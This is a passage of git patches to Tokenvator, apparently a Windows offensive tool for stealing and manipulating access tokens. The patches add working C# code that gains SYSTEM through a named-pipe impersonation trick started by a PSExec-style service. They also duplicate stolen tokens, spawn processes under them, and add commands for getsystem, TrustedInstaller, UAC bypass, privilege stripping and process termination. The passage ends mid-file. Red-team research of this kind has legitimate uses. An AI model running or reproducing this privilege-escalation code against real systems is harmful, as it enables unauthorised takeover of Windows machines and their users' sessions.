+C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.exe +C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.pdb +C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.exe +C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.pdb From 5f3dd18efc60c894d6a243bc5277a8bcf1e6b757 Mon Sep 17 00:00:00 2001 From: Alexander Date: Tue, 31 Jul 2018 07:23:02 -0700 Subject: [PATCH 06/14] Steal_Pipe_Token - Functional --- Tokenvator/NamedPipes.cs | 42 ++++++++++++++----- .../Resources/Unmanaged/Libraries/fileapi.cs | 20 --------- .../Resources/Unmanaged/Libraries/kernel32.cs | 30 +++++++++++++ Tokenvator/Tokenvator.csproj | 1 - 4 files changed, 61 insertions(+), 32 deletions(-) delete mode 100644 Tokenvator/Resources/Unmanaged/Libraries/fileapi.cs diff --git a/Tokenvator/NamedPipes.cs b/Tokenvator/NamedPipes.cs index 3918ab2..5d446ba 100644 --- a/Tokenvator/NamedPipes.cs +++ b/Tokenvator/NamedPipes.cs @@ -1,5 +1,7 @@ using System; +using System.ComponentModel; using System.IO; +using System.Runtime.InteropServices; using System.Threading; using Unmanaged.Headers; @@ -9,6 +11,7 @@ namespace Tokenvator { class NamedPipes { + private static IntPtr hToken = IntPtr.Zero; private const String baseDirectory = @"\\.\pipe\"; internal NamedPipes() @@ -18,26 +21,33 @@ internal NamedPipes() internal static void GetSystem() { + Thread thread = new Thread(() => GetPipeToken(@"\\.\pipe\Tokenvator")); using (PSExec psExec = new PSExec("Tokenvator")) { psExec.Connect("."); - psExec.Create("%COMSPEC% /c start %COMSPEC% /c echo \"tokenvator\" > \\\\.\\pipe\\Tokenvator; timeout 5"); + psExec.Create("%COMSPEC% /c echo tokenvator > \\\\.\\pipe\\Tokenvator"); psExec.Open(); - Thread thread = new Thread(() => GetPipeToken(@"\\.\pipe\Tokenvator")); thread.Start(); psExec.Start(); - thread.Join(); psExec.Stop(); } + + thread.Join(); + if (IntPtr.Zero != hToken) + { + advapi32.ImpersonateLoggedOnUser(hToken); + kernel32.CloseHandle(hToken); + Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); + } } internal static Boolean GetPipeToken(String pipeName) { - //Winbase._SECURITY_ATTRIBUTES lpSecurityAttributes = new Winbase._SECURITY_ATTRIBUTES(); - IntPtr hNamedPipe = kernel32.CreateNamedPipeA(pipeName, Winbase.OPEN_MODE.PIPE_ACCESS_DUPLEX, Winbase.PIPE_MODE.PIPE_TYPE_MESSAGE | Winbase.PIPE_MODE.PIPE_WAIT, 3, 0, 0, 0, IntPtr.Zero); + IntPtr hNamedPipe = kernel32.CreateNamedPipeA(pipeName, Winbase.OPEN_MODE.PIPE_ACCESS_DUPLEX, Winbase.PIPE_MODE.PIPE_TYPE_MESSAGE | Winbase.PIPE_MODE.PIPE_WAIT, 2, 0, 0, 0, IntPtr.Zero); if (IntPtr.Zero == hNamedPipe) { Console.WriteLine("[-] CreateNamedPipeA Failed"); + Console.WriteLine(new Win32Exception(Marshal.GetLastWin32Error()).Message); return false; } Console.WriteLine("[+] Created Pipe {0}", pipeName); @@ -45,27 +55,37 @@ internal static Boolean GetPipeToken(String pipeName) if (!kernel32.ConnectNamedPipe(hNamedPipe, IntPtr.Zero)) { Console.WriteLine("[-] ConnectNamedPipe Failed"); + Console.WriteLine(new Win32Exception(Marshal.GetLastWin32Error()).Message); + return false; } Console.WriteLine("[+] Connected to Pipe {0}", pipeName); Byte[] lpBuffer = new Byte[128]; UInt32 lpNumberOfBytesRead = 0; - //MinWinBase._OVERLAPPED lpOverlapped2 = new MinWinBase._OVERLAPPED(); - if (!fileapi.ReadFile(hNamedPipe, ref lpBuffer, 1, ref lpNumberOfBytesRead, IntPtr.Zero)) + if (!kernel32.ReadFile(hNamedPipe, lpBuffer, 1, ref lpNumberOfBytesRead, IntPtr.Zero)) { Console.WriteLine("[-] ReadFile Failed"); - Console.WriteLine(new System.ComponentModel.Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error()).Message); + Console.WriteLine(new Win32Exception(Marshal.GetLastWin32Error()).Message); + return false; } Console.WriteLine("[+] Read Pipe {0}", pipeName); if (!advapi32.ImpersonateNamedPipeClient(hNamedPipe)) { Console.WriteLine("[-] ImpersonateNamedPipeClient Failed"); - Console.WriteLine(new System.ComponentModel.Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error()).Message); + Console.WriteLine(new Win32Exception(Marshal.GetLastWin32Error()).Message); + return false; } - Console.WriteLine("[+] Impersonated Pipe {0} Client", pipeName); - + if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), Constants.TOKEN_ALL_ACCESS, false, ref hToken)) + { + Console.WriteLine("[-] OpenThreadToken Failed"); + Console.WriteLine(new Win32Exception(Marshal.GetLastWin32Error()).Message); + return false; + } + + kernel32.DisconnectNamedPipe(hNamedPipe); + kernel32.CloseHandle(hNamedPipe); return true; } diff --git a/Tokenvator/Resources/Unmanaged/Libraries/fileapi.cs b/Tokenvator/Resources/Unmanaged/Libraries/fileapi.cs deleted file mode 100644 index a2114f1..0000000 --- a/Tokenvator/Resources/Unmanaged/Libraries/fileapi.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -using Unmanaged.Headers; - -namespace Unmanaged.Libraries -{ - class fileapi - { - [DllImport("kernel32.dll", SetLastError = true)] - public static extern Boolean ReadFile( - IntPtr hFile, - ref Byte[] lpBuffer, - UInt32 nNumberOfBytesToRead, - ref UInt32 lpNumberOfBytesRead, - IntPtr lpOverlapped - //MinWinBase._OVERLAPPED lpOverlapped - ); - } -} diff --git a/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs b/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs index cc7958a..8421bd1 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs @@ -81,6 +81,9 @@ IntPtr lpSecurityAttributes [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr CreateToolhelp32Snapshot(UInt32 dwFlags, UInt32 th32ProcessID); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean DisconnectNamedPipe(IntPtr hNamedPipe); + [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr GetCurrentThread(); @@ -138,6 +141,33 @@ IntPtr lpSecurityAttributes [DllImport("kernel32.dll", SetLastError = true)] public static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, ref IntPtr TokenHandle); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ReadFile( + IntPtr hFile, + Byte[] lpBuffer, + UInt32 nNumberOfBytesToRead, + ref UInt32 lpNumberOfBytesRead, + IntPtr lpOverlapped + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ReadFile( + IntPtr hFile, + Byte[] lpBuffer, + UInt32 nNumberOfBytesToRead, + ref UInt32 lpNumberOfBytesRead, + ref MinWinBase._OVERLAPPED lpOverlapped + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ReadFile( + IntPtr hFile, + Byte[] lpBuffer, + UInt32 nNumberOfBytesToRead, + ref UInt32 lpNumberOfBytesRead, + ref System.Threading.NativeOverlapped lpOverlapped + ); + [DllImport("kernel32.dll", SetLastError = true)] public static extern Boolean ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead); diff --git a/Tokenvator/Tokenvator.csproj b/Tokenvator/Tokenvator.csproj index bb847aa..034e92e 100644 --- a/Tokenvator/Tokenvator.csproj +++ b/Tokenvator/Tokenvator.csproj @@ -80,7 +80,6 @@ - From cd5362a6c243f405019d4c15f7150abec64b4ab3 Mon Sep 17 00:00:00 2001 From: Alexander Date: Wed, 8 Aug 2018 14:44:49 -0700 Subject: [PATCH 07/14] New Features Named Pipes disable_privilege remove_privilege nuke_privileges terminate info --- Tokenvator/CreateProcess.cs | 23 +- Tokenvator/Enumeration.cs | 44 ++- Tokenvator/NamedPipes.cs | 216 +++++++++-- Tokenvator/Program.cs | 262 ++++++++++--- Tokenvator/Resources/CheckPrivileges.cs | 365 ++++++++++++++++-- Tokenvator/Resources/Constants.cs | 37 +- Tokenvator/Resources/PSExec.cs | 4 +- .../Resources/Unmanaged/Headers/Ntifs.cs | 52 +++ .../Resources/Unmanaged/Headers/winbase.cs | 7 + .../Resources/Unmanaged/Headers/winnt.cs | 49 ++- .../Resources/Unmanaged/Headers/wudfwdm.cs | 34 ++ .../Resources/Unmanaged/Libraries/advapi32.cs | 87 +++-- .../Resources/Unmanaged/Libraries/kernel32.cs | 7 +- .../Resources/Unmanaged/Libraries/ntdll.cs | 25 ++ .../Resources/Unmanaged/Libraries/wtsapi32.cs | 5 + Tokenvator/RestrictedToken.cs | 53 ++- Tokenvator/Tokens.cs | 250 +++++++----- Tokenvator/Tokenvator.csproj | 6 + .../Tokenvator.csproj.FileListAbsolute.txt | 4 +- 19 files changed, 1219 insertions(+), 311 deletions(-) create mode 100644 Tokenvator/Resources/Unmanaged/Headers/Ntifs.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/wudfwdm.cs diff --git a/Tokenvator/CreateProcess.cs b/Tokenvator/CreateProcess.cs index 1cb3096..d54d5ab 100644 --- a/Tokenvator/CreateProcess.cs +++ b/Tokenvator/CreateProcess.cs @@ -37,21 +37,18 @@ public static Boolean CreateProcessWithLogonW(IntPtr phNewToken, String name, St Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO(); startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)); Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); - if (!advapi32.CreateProcessWithLogonW( - "i", - "j", - "k", - 0x00000002, + if (!advapi32.CreateProcessWithLogonW("i","j","k", + Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, name, arguments, - 0x04000000, + Winbase.CREATION_FLAGS.CREATE_DEFAULT_ERROR_MODE, IntPtr.Zero, Environment.SystemDirectory, ref startupInfo, out processInformation )) { - Console.WriteLine(" [-] Function CreateProcessWithLogonW failed: " + Marshal.GetLastWin32Error()); + Tokens.GetWin32Error("CreateProcessWithLogonW"); return false; } @@ -85,24 +82,22 @@ public static Boolean CreateProcessWithTokenW(IntPtr phNewToken, String name, St } Console.WriteLine("[*] CreateProcessWithTokenW"); - IntPtr lpProcessName = Marshal.StringToHGlobalUni(name); - IntPtr lpProcessArgs = Marshal.StringToHGlobalUni(arguments); Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO(); startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)); Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); if (!advapi32.CreateProcessWithTokenW( phNewToken, - advapi32.LOGON_FLAGS.NetCredentialsOnly, - lpProcessName, - lpProcessArgs, + Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, + name, + arguments, Winbase.CREATION_FLAGS.NONE, IntPtr.Zero, - IntPtr.Zero, + Environment.CurrentDirectory, ref startupInfo, out processInformation )) { - Console.WriteLine(" [-] Function CreateProcessWithTokenW failed: " + Marshal.GetLastWin32Error()); + Tokens.GetWin32Error("CreateProcessWithTokenW"); return false; } Console.WriteLine(" [+] Created process: " + processInformation.dwProcessId); diff --git a/Tokenvator/Enumeration.cs b/Tokenvator/Enumeration.cs index ee581dd..b1bbfa7 100644 --- a/Tokenvator/Enumeration.cs +++ b/Tokenvator/Enumeration.cs @@ -77,7 +77,7 @@ public static Boolean ConvertTokenStatisticsToUsername(Winnt._TOKEN_STATISTICS t return false; } - if (Environment.MachineName+"$" == Marshal.PtrToStringUni(securityLogonSessionData.UserName.Buffer) && ConvertSidToName(securityLogonSessionData.Sid, ref userName)) + if (Environment.MachineName+"$" == Marshal.PtrToStringUni(securityLogonSessionData.UserName.Buffer) && ConvertSidToName(securityLogonSessionData.Sid, out userName)) { return true; @@ -90,27 +90,45 @@ public static Boolean ConvertTokenStatisticsToUsername(Winnt._TOKEN_STATISTICS t //////////////////////////////////////////////////////////////////////////////// // Converts a SID Byte array to User Name //////////////////////////////////////////////////////////////////////////////// - public static Boolean ConvertSidToName(IntPtr sid, ref String userName) + public static Boolean ConvertSidToName(IntPtr sid, out String userName) { + StringBuilder sbUserName = new StringBuilder(); + StringBuilder lpName = new StringBuilder(); UInt32 cchName = (UInt32)lpName.Capacity; StringBuilder lpReferencedDomainName = new StringBuilder(); UInt32 cchReferencedDomainName = (UInt32)lpReferencedDomainName.Capacity; - Winnt._SID_NAME_USE sidNameUser; - advapi32.LookupAccountSid(String.Empty, sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser); + advapi32.LookupAccountSid(String.Empty, sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out Winnt._SID_NAME_USE sidNameUse); + + lpName.EnsureCapacity((Int32)cchName + 1); + lpReferencedDomainName.EnsureCapacity((Int32)cchReferencedDomainName + 1); + advapi32.LookupAccountSid(String.Empty, sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUse); - lpName.EnsureCapacity((Int32)cchName); - lpReferencedDomainName.EnsureCapacity((Int32)cchReferencedDomainName); - if (advapi32.LookupAccountSid(String.Empty, sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser)) + if (lpReferencedDomainName.Length > 0) { - return false; + sbUserName.Append(lpReferencedDomainName); + } + + if (sbUserName.Length > 0) + { + sbUserName.Append(@"\"); } - if (String.IsNullOrEmpty(lpName.ToString()) || String.IsNullOrEmpty(lpReferencedDomainName.ToString())) + + if (lpName.Length > 0) + { + sbUserName.Append(lpName); + } + + userName = sbUserName.ToString(); + + if (String.IsNullOrEmpty(userName)) { return false; } - userName = lpReferencedDomainName.ToString() + "\\" + lpName.ToString(); - return true; + else + { + return true; + } } //////////////////////////////////////////////////////////////////////////////// @@ -144,7 +162,7 @@ public static Dictionary EnumerateTokens(Boolean findElevation) UInt32 dwLength = 0; Winnt._TOKEN_STATISTICS tokenStatistics = new Winnt._TOKEN_STATISTICS(); //Split up impersonation and primary tokens - if (Winnt.TOKEN_TYPE.TokenImpersonation == tokenStatistics.TokenType) + if (Winnt._TOKEN_TYPE.TokenImpersonation == tokenStatistics.TokenType) { continue; } @@ -248,7 +266,7 @@ public static Dictionary EnumerateUserProcesses(Boolean findElev } kernel32.CloseHandle(hToken); - if (Winnt.TOKEN_TYPE.TokenImpersonation == tokenStatistics.TokenType) + if (Winnt._TOKEN_TYPE.TokenImpersonation == tokenStatistics.TokenType) { continue; } diff --git a/Tokenvator/NamedPipes.cs b/Tokenvator/NamedPipes.cs index 5d446ba..b27d4ab 100644 --- a/Tokenvator/NamedPipes.cs +++ b/Tokenvator/NamedPipes.cs @@ -1,5 +1,4 @@ using System; -using System.ComponentModel; using System.IO; using System.Runtime.InteropServices; using System.Threading; @@ -13,83 +12,234 @@ class NamedPipes { private static IntPtr hToken = IntPtr.Zero; private const String baseDirectory = @"\\.\pipe\"; - + private static AutoResetEvent waitHandle = new AutoResetEvent(false); + + private delegate Boolean Create(IntPtr phNewToken, String newProcess, String arguments); + internal NamedPipes() { } + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// internal static void GetSystem() { - Thread thread = new Thread(() => GetPipeToken(@"\\.\pipe\Tokenvator")); + Thread thread = new Thread(() => _GetPipeToken(@"\\.\pipe\Tokenvator")); + using (PSExec psExec = new PSExec("Tokenvator")) { psExec.Connect("."); psExec.Create("%COMSPEC% /c echo tokenvator > \\\\.\\pipe\\Tokenvator"); psExec.Open(); thread.Start(); + waitHandle.WaitOne(); psExec.Start(); psExec.Stop(); } thread.Join(); + if (IntPtr.Zero != hToken) { advapi32.ImpersonateLoggedOnUser(hToken); kernel32.CloseHandle(hToken); Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); + hToken = IntPtr.Zero; } } - internal static Boolean GetPipeToken(String pipeName) + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + internal static void GetSystem(String command, String arguments) { - IntPtr hNamedPipe = kernel32.CreateNamedPipeA(pipeName, Winbase.OPEN_MODE.PIPE_ACCESS_DUPLEX, Winbase.PIPE_MODE.PIPE_TYPE_MESSAGE | Winbase.PIPE_MODE.PIPE_WAIT, 2, 0, 0, 0, IntPtr.Zero); - if (IntPtr.Zero == hNamedPipe) + Thread thread = new Thread(() => _GetPipeToken(@"\\.\pipe\Tokenvator")); + + using (PSExec psExec = new PSExec("Tokenvator")) { - Console.WriteLine("[-] CreateNamedPipeA Failed"); - Console.WriteLine(new Win32Exception(Marshal.GetLastWin32Error()).Message); - return false; + psExec.Connect("."); + psExec.Create("%COMSPEC% /c echo tokenvator > \\\\.\\pipe\\Tokenvator"); + psExec.Open(); + thread.Start(); + waitHandle.WaitOne(); + psExec.Start(); + psExec.Stop(); } - Console.WriteLine("[+] Created Pipe {0}", pipeName); - if (!kernel32.ConnectNamedPipe(hNamedPipe, IntPtr.Zero)) + thread.Join(); + + Create createProcess; + if (0 == System.Diagnostics.Process.GetCurrentProcess().SessionId) { - Console.WriteLine("[-] ConnectNamedPipe Failed"); - Console.WriteLine(new Win32Exception(Marshal.GetLastWin32Error()).Message); - return false; + createProcess = CreateProcess.CreateProcessWithLogonW; + } + else + { + createProcess = CreateProcess.CreateProcessWithTokenW; } - Console.WriteLine("[+] Connected to Pipe {0}", pipeName); + createProcess(hToken, command, arguments); + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + public static void GetPipeToken(String pipeName) + { + Console.WriteLine("[*] Creating Listener Thread"); + Thread thread = new Thread(() => _GetPipeToken(pipeName)); + thread.Start(); + waitHandle.WaitOne(); - Byte[] lpBuffer = new Byte[128]; - UInt32 lpNumberOfBytesRead = 0; - if (!kernel32.ReadFile(hNamedPipe, lpBuffer, 1, ref lpNumberOfBytesRead, IntPtr.Zero)) + Console.WriteLine("[*] Joining Thread"); + thread.Join(); + Console.WriteLine("[*] Joined Thread"); + + if (IntPtr.Zero != hToken) { - Console.WriteLine("[-] ReadFile Failed"); - Console.WriteLine(new Win32Exception(Marshal.GetLastWin32Error()).Message); - return false; + Tokens.EnumerateTokenPrivileges(hToken); + CheckPrivileges.GetElevationType(hToken, out Winnt._TOKEN_TYPE type); + CheckPrivileges.PrintElevation(hToken); + + advapi32.ImpersonateLoggedOnUser(hToken); + + kernel32.CloseHandle(hToken); + Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); + hToken = IntPtr.Zero; } - Console.WriteLine("[+] Read Pipe {0}", pipeName); + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + public static void GetPipeToken(String pipeName, String command) + { + Console.WriteLine("[*] Creating Listener Thread"); + Thread thread = new Thread(() => _GetPipeToken(pipeName)); + thread.Start(); + waitHandle.WaitOne(); + + Console.WriteLine("[*] Joining Thread"); + thread.Join(); + Console.WriteLine("[*] Joined Thread"); - if (!advapi32.ImpersonateNamedPipeClient(hNamedPipe)) + if (IntPtr.Zero != hToken) { - Console.WriteLine("[-] ImpersonateNamedPipeClient Failed"); - Console.WriteLine(new Win32Exception(Marshal.GetLastWin32Error()).Message); - return false; + Console.WriteLine("[*] CreateProcessWithLogonW"); + Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO(); + startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)); + Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); + if (!advapi32.CreateProcessWithLogonW( + "i", "j", "k", + Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, + command, command, + Winbase.CREATION_FLAGS.CREATE_DEFAULT_ERROR_MODE, + IntPtr.Zero, + Environment.CurrentDirectory, + ref startupInfo, + out processInformation + )) + { + Tokens.GetWin32Error("CreateProcessWithLogonW"); + } + else + { + Console.WriteLine(" [+] Created process: {0}", processInformation.dwProcessId); + Console.WriteLine(" [+] Created thread: {1}", processInformation.dwThreadId); + } + kernel32.CloseHandle(hToken); + hToken = IntPtr.Zero; } - - if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), Constants.TOKEN_ALL_ACCESS, false, ref hToken)) + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + private static Boolean _GetPipeToken(String pipeName) + { + IntPtr hNamedPipe = IntPtr.Zero; + try { - Console.WriteLine("[-] OpenThreadToken Failed"); - Console.WriteLine(new Win32Exception(Marshal.GetLastWin32Error()).Message); + hNamedPipe = kernel32.CreateNamedPipeA(pipeName, Winbase.OPEN_MODE.PIPE_ACCESS_DUPLEX, Winbase.PIPE_MODE.PIPE_TYPE_MESSAGE | Winbase.PIPE_MODE.PIPE_WAIT, 2, 0, 0, 0, IntPtr.Zero); + if (IntPtr.Zero == hNamedPipe) + { + Tokens.GetWin32Error("CreateNamedPipeA"); + return false; + } + Console.WriteLine("[+] Created Pipe {0}", pipeName); + waitHandle.Set(); + + if (!kernel32.ConnectNamedPipe(hNamedPipe, IntPtr.Zero)) + { + Tokens.GetWin32Error("ConnectNamedPipe"); + return false; + } + Console.WriteLine("[+] Connected to Pipe {0}", pipeName); + + + Byte[] lpBuffer = new Byte[128]; + UInt32 lpNumberOfBytesRead = 0; + if (!kernel32.ReadFile(hNamedPipe, lpBuffer, 1, ref lpNumberOfBytesRead, IntPtr.Zero)) + { + Tokens.GetWin32Error("ReadFile"); + return false; + } + + Console.WriteLine("[+] Read Pipe {0}", pipeName); + + if (!advapi32.ImpersonateNamedPipeClient(hNamedPipe)) + { + Tokens.GetWin32Error("ImpersonateNamedPipeClient"); + return false; + } + Console.WriteLine("[+] Impersonated Pipe {0}", pipeName); + + Winbase._SECURITY_ATTRIBUTES sa = new Winbase._SECURITY_ATTRIBUTES(); + sa.bInheritHandle = false; + sa.nLength = (UInt32)Marshal.SizeOf(sa); + sa.lpSecurityDescriptor = (IntPtr)0; + + + if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), Constants.TOKEN_ALL_ACCESS, false, out hToken)) + { + Tokens.GetWin32Error("OpenThreadToken"); + return false; + } + Console.WriteLine("[+] Thread Token 0x{0}", hToken.ToString("X4")); + + IntPtr phNewToken = new IntPtr(); + UInt32 result = ntdll.NtDuplicateToken(hToken, Constants.TOKEN_ALL_ACCESS, IntPtr.Zero, true, Winnt._TOKEN_TYPE.TokenPrimary, ref phNewToken); + if (IntPtr.Zero == phNewToken) + { + result = ntdll.NtDuplicateToken(hToken, Constants.TOKEN_ALL_ACCESS, IntPtr.Zero, true, Winnt._TOKEN_TYPE.TokenImpersonation, ref phNewToken); + if (IntPtr.Zero == phNewToken) + { + Tokens.GetNtError("NtDuplicateToken", result); + return false; + } + } + + if (IntPtr.Zero != phNewToken) + { + hToken = phNewToken; + } + + } + catch (Exception ex) + { + Console.WriteLine("[-] {0}", ex.Message); return false; } - - kernel32.DisconnectNamedPipe(hNamedPipe); - kernel32.CloseHandle(hNamedPipe); + finally + { + if (IntPtr.Zero != hNamedPipe) + { + kernel32.DisconnectNamedPipe(hNamedPipe); + kernel32.CloseHandle(hNamedPipe); + } + } return true; } + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// internal static void EnumeratePipes() { String[] pipes = Directory.GetFiles(baseDirectory); diff --git a/Tokenvator/Program.cs b/Tokenvator/Program.cs index 0f079b0..a56de34 100644 --- a/Tokenvator/Program.cs +++ b/Tokenvator/Program.cs @@ -1,8 +1,13 @@ using System; using System.Collections.Generic; +using System.Collections.ObjectModel; using System.Diagnostics; using System.Linq; +using System.Management.Automation; +using System.Management.Automation.Runspaces; +using System.Security.Principal; +using Unmanaged.Headers; using Unmanaged.Libraries; @@ -76,6 +81,7 @@ class MainLoop private Dictionary processes; private IntPtr hProcess; + private IntPtr hBackup; private Int32 processID; private String command; @@ -89,6 +95,9 @@ public MainLoop(Boolean activateTabs) { console = new TabComplete(context, options); } + + hProcess = Process.GetCurrentProcess().Handle; + hBackup = hProcess; } internal void Run() @@ -106,39 +115,84 @@ internal void Run() input = Console.ReadLine(); } + IntPtr tempToken = IntPtr.Zero; + kernel32.OpenProcessToken(kernel32.GetCurrentProcess(), Constants.TOKEN_ALL_ACCESS, out IntPtr hToken); switch (NextItem(ref input)) { - case "list_privileges": - if (GetProcessID(input, out processID, out command)) + case "info": + if (GetProcessID(input, out processID, out command) && OpenToken(processID, ref tempToken)) { - hProcess = kernel32.OpenProcess(Constants.PROCESS_QUERY_INFORMATION, false, (UInt32)processID); - Console.WriteLine("[*] Recieved Handle {0}", hProcess.ToInt64()); + hToken = tempToken; } - else - { - hProcess = Process.GetCurrentProcess().Handle; - } - - kernel32.OpenProcessToken(hProcess, Constants.TOKEN_ALL_ACCESS, out currentProcessToken); - Tokens.EnumerateTokenPrivileges(currentProcessToken); - kernel32.CloseHandle(currentProcessToken); + Console.WriteLine(""); + CheckPrivileges.GetTokenUser(hToken); + Console.WriteLine(""); + CheckPrivileges.GetTokenOwner(hToken); + Console.WriteLine(""); + CheckPrivileges.GetTokenGroups(hToken); + Console.WriteLine(""); + CheckPrivileges.GetElevationType(hToken, out Winnt._TOKEN_TYPE tokenType); + CheckPrivileges.PrintElevation(hToken); break; - case "set_privilege": + case "list_privileges": + if (GetProcessID(input, out processID, out command)) + if (OpenToken(processID, ref tempToken)) + hToken = tempToken; + else + break; + Tokens.EnumerateTokenPrivileges(hToken); + break; + case "enable_privilege": + if (GetProcessID(input, out processID, out command)) + if (OpenToken(processID, ref tempToken)) + hToken = tempToken; + else + break; + Tokens.SetTokenPrivilege(ref hToken, command, Winnt.TokenPrivileges.SE_PRIVILEGE_ENABLED); + break; + case "disable_privilege": + if (GetProcessID(input, out processID, out command)) + if (OpenToken(processID, ref tempToken)) + hToken = tempToken; + else + break; + Tokens.SetTokenPrivilege(ref hToken, command, Winnt.TokenPrivileges.SE_PRIVILEGE_NONE); + break; + case "remove_privilege": + if (GetProcessID(input, out processID, out command)) + if (OpenToken(processID, ref tempToken)) + hToken = tempToken; + else + break; + Tokens.SetTokenPrivilege(ref hToken, command, Winnt.TokenPrivileges.SE_PRIVILEGE_REMOVED); + break; + case "nuke_privileges": + if (GetProcessID(input, out processID, out command)) + if (OpenToken(processID, ref tempToken)) + hToken = tempToken; + else + break; + Tokens.DisableAndRemoveAllTokenPrivileges(ref hToken); + break; + case "terminate": if (GetProcessID(input, out processID, out command)) { - hProcess = kernel32.OpenProcess(Constants.PROCESS_QUERY_INFORMATION, false, (UInt32)processID); - Console.WriteLine("[*] Recieved Handle {0}", hProcess.ToInt64()); - } - else - { - hProcess = Process.GetCurrentProcess().Handle; + IntPtr hProcess = kernel32.OpenProcess(Constants.PROCESS_TERMINATE, false, (UInt32)processID); + if (IntPtr.Zero == hProcess) + { + Tokens.GetWin32Error("OpenProcess"); + break; + } + Console.WriteLine("[*] Recieved Process Handle 0x{0}", hProcess.ToString("X4")); + if (!kernel32.TerminateProcess(hProcess, 0)) + { + Tokens.GetWin32Error("TerminateProcess"); + break; + } + Console.WriteLine("[+] Process Terminated"); } - - kernel32.OpenProcessToken(hProcess, Constants.TOKEN_ALL_ACCESS, out currentProcessToken); - Tokens.SetTokenPrivilege(ref currentProcessToken, command); - kernel32.CloseHandle(currentProcessToken); break; - case "list_processes": + case "sample_processes": users = Enumeration.EnumerateTokens(false); Console.WriteLine("{0,-40}{1,-20}{2}", "User", "Process ID", "Process Name"); Console.WriteLine("{0,-40}{1,-20}{2}", "----", "----------", "------------"); @@ -147,7 +201,7 @@ internal void Run() Console.WriteLine("{0,-40}{1,-20}{2}", name, users[name], Process.GetProcessById((Int32)users[name]).ProcessName); } break; - case "list_processes_wmi": + case "sample_processes_wmi": users = Enumeration.EnumerateTokensWMI(); Console.WriteLine("{0,-40}{1,-20}{2}", "User", "Process ID", "Process Name"); Console.WriteLine("{0,-40}{1,-20}{2}", "----", "----------", "------------"); @@ -174,11 +228,11 @@ internal void Run() Console.WriteLine("{0,-30}{1,-30}", pid, processes[pid]); } break; - case "list_user_sessions": + case "sessions": Enumeration.EnumerateInteractiveUserSessions(); break; case "getsystem": - GetSystem(input); + GetSystem(input, hToken); break; case "gettrustedinstaller": GetTrustedInstaller(input); @@ -193,33 +247,35 @@ internal void Run() BypassUAC(input); break; case "whoami": - Console.WriteLine("[*] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); + Console.WriteLine("[*] Operating as {0}", WindowsIdentity.GetCurrent().Name); break; case "reverttoself": - if (advapi32.RevertToSelf()) - { - Console.WriteLine("[*] Reverted token to {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); - } - else - { - Console.WriteLine("[-] RevertToSelf failed"); - } + String message = advapi32.RevertToSelf() ? "[*] Reverted token to " + WindowsIdentity.GetCurrent().Name : "[-] RevertToSelf failed"; + Console.WriteLine(message); break; case "run": Run(input); break; + case "runpowershell": + RunPowerShell(input); + break; case "exit": - System.Environment.Exit(0); + Environment.Exit(0); break; default: Help(); break; } + if (IntPtr.Zero != hToken) + { + kernel32.CloseHandle(hToken); + } Console.WriteLine(); } catch (Exception error) { 